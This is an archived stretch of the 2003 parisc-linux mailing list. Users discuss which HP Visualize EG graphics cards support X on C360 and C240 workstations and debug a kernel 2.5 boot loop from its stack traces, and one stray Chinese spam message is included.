<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"></SPAN></FONT>&nbsp;</P>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial">Thank you for your assistance.&nbsp; Thank you Grant, too!</SPAN></FONT></P>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"></SPAN></FONT>&nbsp;</P>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial">You already tested this card (Vis EG HSC) on your HP-Visualize C360 machine. The X-Windows system should be started in this case.&nbsp; </SPAN></FONT></P>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial">Can you say me please, where can I find/order and buy this card?</SPAN></FONT></P>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"></SPAN></FONT>&nbsp;</P>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial">Thank you very much,</SPAN></FONT></P>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial">Kind regards, Zlatan</SPAN></FONT></P>
<P class=MsoNormal><FONT face=Arial color=navy size=2><SPAN style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"></SPAN></FONT>&nbsp;</P>
<P class=MsoNormal style="MARGIN-LEFT: 36pt"><FONT face=Tahoma size=2><SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">-----Original Message-----<BR><B><SPAN style="FONT-WEIGHT: bold">From:</SPAN></B> Derek Engelhaupt [mailto:derekengelhaupt@rocketmail.com] <BR><B><SPAN style="FONT-WEIGHT: bold">Sent:</SPAN></B> Mittwoch, 18. Juni 2003 18:00<BR><B><SPAN style="FONT-WEIGHT: bold">To:</SPAN></B> Grant Grundler; Jukic Zlatan<BR><B><SPAN style="FONT-WEIGHT: bold">Cc:</SPAN></B> parisc-linux@lists.parisc-linux.org<BR><B><SPAN style="FONT-WEIGHT: bold">Subject:</SPAN></B> Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360</SPAN></FONT></P>
<P class=MsoNormal style="MARGIN-LEFT: 36pt"><FONT face="Times New Roman" size=3><SPAN style="FONT-SIZE: 12pt"></SPAN></FONT>&nbsp;</P>
<DIV>
<P class=MsoNormal style="MARGIN-LEFT: 36pt"><FONT face="Times New Roman" size=3><SPAN style="FONT-SIZE: 12pt">Yes, there is an HSC EG card.&nbsp; Used it in my C360 before I sold it.&nbsp; The PCI version of the card has more memory on it though.</SPAN></FONT></P></DIV>
<DIV>
<P class=MsoNormal style="MARGIN-LEFT: 36pt"><FONT face="Times New Roman" size=3><SPAN style="FONT-SIZE: 12pt"></SPAN></FONT>&nbsp;</P></DIV>
<DIV>
<P class=MsoNormal style="MARGIN-LEFT: 36pt"><FONT face="Times New Roman" size=3><SPAN style="FONT-SIZE: 12pt">derek<BR><BR><B><I><SPAN style="FONT-WEIGHT: bold; FONT-STYLE: italic">Grant Grundler &lt;grundler@parisc-linux.org&gt;</SPAN></I></B> wrote:</SPAN></FONT></P></DIV>
<BLOCKQUOTE style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; MARGIN-TOP: 5pt; PADDING-LEFT: 4pt; MARGIN-BOTTOM: 5pt; PADDING-BOTTOM: 0cm; MARGIN-LEFT: 3.75pt; BORDER-LEFT: #1010ff 1.5pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none">
<P class=MsoNormal style="MARGIN-LEFT: 36pt"><FONT face="Times New Roman" size=3><SPAN style="FONT-SIZE: 12pt">On </SPAN></FONT>Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:<BR>&gt; I could not start unfortunately the X-Windows system, because it is not<BR>&gt; supported by Fx-4 video card.?!<BR><BR>correct<BR><BR>&gt; My question is here: Must I insert another card (and which??), in order to<BR>&gt; start X-Windows-system?<BR><BR>&gt; According to Debian HPPA, the Visualize EG should correct to function. <BR><BR>yes. *PCI* version of the card.<BR>Vis-EG HSC card might also work.<BR><BR>&gt; This card is a 24-bit-video-card, which is recognized in the best way under<BR>&gt; Linux as "Coral" with HP 715-64, <BR><BR>Is that really a Vis-EG HSC card?<BR>Can you post "dmesg" outpu
 t where STI describes the card?<BR><BR>grant<BR>_______________________________________________<BR>parisc-linux mailing
 list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</P></BLOCKQUOTE>
<DIV class=MsoNormal style="MARGIN-LEFT: 36pt; TEXT-ALIGN: center" align=center><FONT face="Times New Roman" size=3><SPAN style="FONT-SIZE: 12pt">
<HR align=center width="100%" SIZE=1>
</SPAN></FONT></DIV>
<P class=MsoNormal style="MARGIN-LEFT: 36pt"><FONT face="Times New Roman" size=3><SPAN style="FONT-SIZE: 12pt">Do you Yahoo!?<BR><A href="http://pa.yahoo.com/*http:/rd.yahoo.com/evt=1207/*http:/promo.yahoo.com/sbc/">SBC Yahoo! DSL</A> - Now only $29.95 per month!</SPAN></FONT></P></DIV></BLOCKQUOTE><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://pa.yahoo.com/*http://rd.yahoo.com/evt=1207/*http://promo.yahoo.com/sbc/">SBC Yahoo! DSL</a> - Now only $29.95 per month!
--0-827210007-1055980438=:53760--


From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Thu, 19 Jun 2003 05:59:56 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <3EF1353C.8030705@bluehash.de>
References: <200306171622.h5HGM5QJ010581@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622522 26805 80.91.229.3 (22 Nov 2014 02:15:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 18 21:59:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id C12A9482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jun 2003 21:59:01 -0600 (MDT)
Original-Received: (qmail 19934 invoked from network); 19 Jun 2003 03:58:59 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.1.251)
  by mail.medianet-world.de with SMTP; 19 Jun 2003 03:58:59 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <200306171622.h5HGM5QJ010581@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18692

John David Anglin schrieb:

>Until issues related to the canonicalization of function pointers
>and the alignment of stack locals are resolved, it is best to stick
>with debian gcc-3.0.4 for kernel building.
>
So I installed gcc-3.04 from Debian, did "make distclean", "make 
oldconfig" (selecting "PA7100LC") and booted...
And got the same loop again ;)

---------- SNIP---------------

     md: linear personality registered as nr 1
    Badness in local_bh_enable at at kernel/softirq.c:109
    Kernel addresses on the stack:

     [tirq.c:109
    <4>Kernel addresses on the stack:
    <4> [<10124edcc8>]  [<1010ea4c>]
    <4> [<1012503c>]  [<1028ac08>]  [<10124cc>]
    <4> [<1029a2a4>]  [<103ad4d4>]  [<10100284>]  [<10109c5ab8>] 
    [<101289a8>]  [<1028ac20>]
     [<1028b428>]  [<101070f28ac08>]  [<10124f10>]  [<1028adcc>]
     [<1029a2a4>]  [<103adc>]
    <4> [<1029a2a4>]  [<103ad4d4>]  [<10100284>]  [<10109c>] 
    [<103ad4d4>]  [<10100284>]  [<10109c5c>]


---------- SNAP---------------

Complete Bootlog and System.map is here: rscholz.bluehash.de/parisc .
Can I do something else to help finding the bug?

>  Loops of this kind can
>happen when lock structures are misaligned on PA 1.1 machines.
>
>Dave
>  
>

Rdiger



From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?gb2312?q?=D6=D0=D0=A1=C6=F3=D2=B5=C1=AA=C3=CB_ <info@sfa.com>,
	?=@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?gb2312?q?=B5=C7=C2=BC=D6=D0=D0=A1=C6=F3=D2=B5=C1=AA=C3=CB=A3=AC=C3=E2=B7=D1=D0=FB=B4=AB=C6=F3=D2=B5=A1=A2=CD=C6=B9=E3=B2=FA=C6=B7=A3=A1=A1=A1?=
Date: Thu, 19 Jun 2003 15:40:53 +0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030619074547.218B04830@dsl2.external.hp.com>
Reply-To: info@smb365.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="84e04825-575d-4157-8170-6d24d31eb3a8"
X-Trace: ger.gmane.org 1416622522 26806 80.91.229.3 (22 Nov 2014 02:15:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 01:45:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sfa2033.com (unknown [211.162.27.253])
	by dsl2.external.hp.com (Postfix) with SMTP id 218B04830
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 01:45:47 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18693

This is a multi-part message in MIME format
--84e04825-575d-4157-8170-6d24d31eb3a8
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

=C4=E3=BA=C3=A3=BA
=A1=A1=A1=A1=A1=A1=B5=C7=C2=BC=D6=D0=D0=A1=C6=F3=D2=B5=C1=AA=C3=CB=A3=AC=C4=E3=
=BF=C9=D2=D4=C3=E2=B7=D1=D0=FB=B4=AB=C6=F3=D2=B5=A1=A2=CD=C6=B9=E3=B2=FA=C6=B7=
=A3=A1=CD=AC=CA=B1=BB=F1=B5=C3=B8=FC=B6=E0=CF=EE=C4=BF=A1=A2=D5=FE=B2=DF=A1=A2=
=D7=CA=D4=B4=D0=C5=CF=A2=A3=A1=A1=A1http://www.smb365.com



=B4=CB=CE=AA=C9=CC=D2=B5=D0=C5=BA=AF=A3=AC=C8=E7=D3=D0=B4=F2=C8=C5=A3=AC=C7=EB=
=C9=BE=B3=FD=A3=AC=BE=B4=C7=EB=C1=C2=BD=E2=A3=A1  
--84e04825-575d-4157-8170-6d24d31eb3a8--



From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Thu, 19 Jun 2003 10:55:28 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3ED70CF1000076E9@ocpmta2.freegates.net>
References: <3EF1353C.8030705@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622522 26807 80.91.229.3 (22 Nov 2014 02:15:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:22 +0000 (UTC)
To: =?ISO-8859-1?Q?R=FCdiger=20Scholz?= <r.scholz@bluehash.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 02:55:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D92A84830
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 02:55:31 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19SvBI-0007rv-00; Thu, 19 Jun 2003 10:54:08 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 19 Jun 2003 10:55:28 +0200
In-Reply-To: <3EF1353C.8030705@bluehash.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18694

Hi,

I do not yet tested 2.5 (or so faraway) but this message:
>     md: linear personality registered as nr 1
>    Badness in local_bh_enable at at kernel/softirq.c:109

seems to point out md support (ie raid support).
Do you already try to rebuild and re-try a kernel without this support?

Joel



---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Thu, 19 Jun 2003 11:10:07 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <3EF17DEF.1050803@bluehash.de>
References: <3ED70CF1000076E9@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622523 26813 80.91.229.3 (22 Nov 2014 02:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:23 +0000 (UTC)
To: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 03:09:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id 02EC44830
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 03:09:11 -0600 (MDT)
Original-Received: (qmail 31644 invoked from network); 19 Jun 2003 09:09:10 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.1.51)
  by mail.medianet-world.de with SMTP; 19 Jun 2003 09:09:10 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <3ED70CF1000076E9@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18695

Hi,

>Do you already try to rebuild and re-try a kernel without this support?
>
>Joel
>  
>
this was also my thought, so recompiled kernel without md-support. I 
just rebooted the machine with the new kernel.... Same problem at 
another place:

----------------SNIP-----------

    Keyboard initialization sequence failled
    input: PS/2 keyboard port at 0xf0108000 (irq 69) found and attached
    input: PS/2 mouse port at 0xf0108100 (irq 69) found and attached
    HP SDC: HP SDC at 0xf0201000, IRQ 126 (NMI IRQ 125)
    HP SDC: New style SDC
    HP SDC: Revision: 1820-4784
    HP SDC: TI SN76494 beeper present
    HP SDC: OKI MSM-58321 BBRTC present
    HP SDC: Spunking the self test register to force PUP on next
    firmware reset.
    HP SDC MLC: Registering the System Domain Controller's HIL MLC.
    oprofile: using timer interrupt.
    Badness in local_bh_enable at kernel/s1012503c>]  [<101615dc>] 
    [<10124f10>]
     [<1028ab94>]  [<10494>]
    <4> [<10210468>]  [<10124b3c>]  [<1018abf8>]  [<10124cc8>]
    ftirq.c:109
    Kernel addresses on the stack:
     [<10124ed8>]  b1f0>]  [<101070f8>]  [<1028c0d8>]  [<1028c20c>]
     [<10128c68>]  [<1020dd68>]  [<101e493c>]
    <4> [<10210468>]  [<10124b3ck:
    <4> [<10124ed8>]  [<10105ab8>]  [<101289a8>]  [<1028a9d03b83c8>] 
    [<10399494>]  [<10100284>]
     [<10109c5c>]
    Badnes  [<101615dc>]  [<10124f10>]
    <4> [<1028ab94>]  [<103b83c8>]> [<101e0f5c>]  [<1012503c>] 
    [<101615dc>]  [<10124f10>]
     [1020dd48>]  [<10210498>]
    <4> [<10210468>]  [<10124b3c>] c5c>]
    <4>HP SDC: Transaction add failed: transaction already queuedl
    addresses on the stack:

-----------------SNAP----------------

The interesting thing could this line:  "oprofile: using timer 
interrupt." I think in using the timer interrupt lies the problem. 
Doesn't the md-stuff  use also the timer-interrupt to measure the 
throughput with various registers?

Rdiger



From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: adrian.criveanu@gmx.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Thu, 19 Jun 2003 11:54:11 +0200 (MEST)
Lines: 138
Approved: news@gmane.org
Message-ID: <6259.1056016451@www20.gmx.net>
References: <20030618235358.54006.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622523 26820 80.91.229.3 (22 Nov 2014 02:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 03:54:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100])
	by dsl2.external.hp.com (Postfix) with SMTP id AC2514830
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 03:54:17 -0600 (MDT)
Original-Received: (qmail 3438 invoked by uid 0); 19 Jun 2003 09:54:11 -0000
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0008961202@gmx.net
X-Authenticated-IP: [149.254.214.11]
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Flags: 0001
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18696

Hi!

I apologize for intruding upon you, but I have a C240 with a A4450A (GSC)
card and I couldn't make it work. I was even under the impression that only the
PCI version of it is supported (as I read in some e-mails). I used the 3.0
CDs. It would be highly appreciated if you could tell me what are the steps to
make it work under X, as now it only works for me if I connect to the C240
over a serial port.

I apologize again if you've already answered that before, but I couldn't
find much documentation out there to tell me exactly what to do. People talk
abot different kernel versions and things like that but a "how to" kind of
document would be very, very helpful and I think would make more people try Debian
on PA-RISC boxes. 

Thank you very much and apologie again for bothering you.

Best regards,

Adrian

> You will need one of the following cards:  A4977A (PCI), A4450A (GSC), or
> A4451A (GSC dual head).  Part numbers are listed below.  You will also
need
> an EVC to 15-pin converter for all of these cards and that part number is
> listed below also.  All of this info came from partsurfer.hp.com (no "www"
> in front of it).  There is a PCI EG card for sale on Ebay:  
>  
>
http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3031053367&category=11221
>  
> Looks like Cypress Tech ( sales@cypress-tech.com) have some of the A4450A
> GSC cards, but I've never had any dealings with them.  Their prices on
Ebay
> seem high though.   Good luck.
>  
> A4450-66501636.00VISUALIZE-EG graphic accelerator board - For 2D and 3D
> wireframe graphics - Includes color recovery (P/O A4450A) 
> 
> 
> A4451-665011644.00Dual VISUALIZE-EG graphic accelerator board - For 2D and
> 3D wireframe graphics - Includes color recovery (A4451A) 
>  
> 1253-063528.00Enhanced Video Connector (EVC) video adapter cable - EVC(M)
> to 15-pin(F) - 7.87in (0.2m) long - Used to connect EVC video output to
> 15-pin monitor 
>  
> A4977-66501VIZUALIZE-EG/PCI 
> 
> Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at> wrote:
> 
> Hello Derek and all,
> 
>  
> 
> Thank you for your assistance.  Thank you Grant, too!
> 
>  
> 
> You already tested this card (Vis EG HSC) on your HP-Visualize C360
> machine. The X-Windows system should be started in this case.  
> 
> Can you say me please, where can I find/order and buy this card?
> 
>  
> 
> Thank you very much,
> 
> Kind regards, Zlatan
> 
>  
> 
> -----Original Message-----
> From: Derek Engelhaupt [mailto:derekengelhaupt@rocketmail.com] 
> Sent: Mittwoch, 18. Juni 2003 18:00
> To: Grant Grundler; Jukic Zlatan
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360
> 
>  
> 
> Yes, there is an HSC EG card.  Used it in my C360 before I sold it.  The
> PCI version of the card has more memory on it though.
> 
> 
>  
> 
> 
> derek
> 
> Grant Grundler <grundler@parisc-linux.org> wrote:
> 
> 
> On Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:
> > I could not start unfortunately the X-Windows system, because it is not
> > supported by Fx-4 video card.?!
> 
> correct
> 
> > My question is here: Must I insert another card (and which??), in order
> to
> > start X-Windows-system?
> 
> > According to Debian HPPA, the Visualize EG should correct to function. 
> 
> yes. *PCI* version of the card.
> Vis-EG HSC card might also work.
> 
> > This card is a 24-bit-video-card, which is recognized in the best way
> under
> > Linux as "Coral" with HP 715-64, 
> 
> Is that really a Vis-EG HSC card?
> Can you post "dmesg" output where STI describes the card?
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> ---------------------------------
> 
> 
> Do you Yahoo!?
> SBC Yahoo! DSL - Now only $29.95 per month!
> 
> 
> 
> ---------------------------------
> Do you Yahoo!?
> SBC Yahoo! DSL - Now only $29.95 per month!

-- 
+++ GMX - Mail, Messaging & more  http://www.gmx.net +++
Bitte lcheln! Fotogalerie online mit GMX ohne eigene Homepage!



From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Thu, 19 Jun 2003 12:16:15 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3ED70CF1000077D4@ocpmta2.freegates.net>
References: <3EF17DEF.1050803@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622523 26825 80.91.229.3 (22 Nov 2014 02:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:23 +0000 (UTC)
To: =?ISO-8859-1?Q?R=FCdiger=20Scholz?= <r.scholz@bluehash.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 04:16:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F136482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 04:16:17 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19SwSC-000522-00; Thu, 19 Jun 2003 12:15:40 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 19 Jun 2003 12:16:15 +0200
In-Reply-To: <3EF17DEF.1050803@bluehash.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
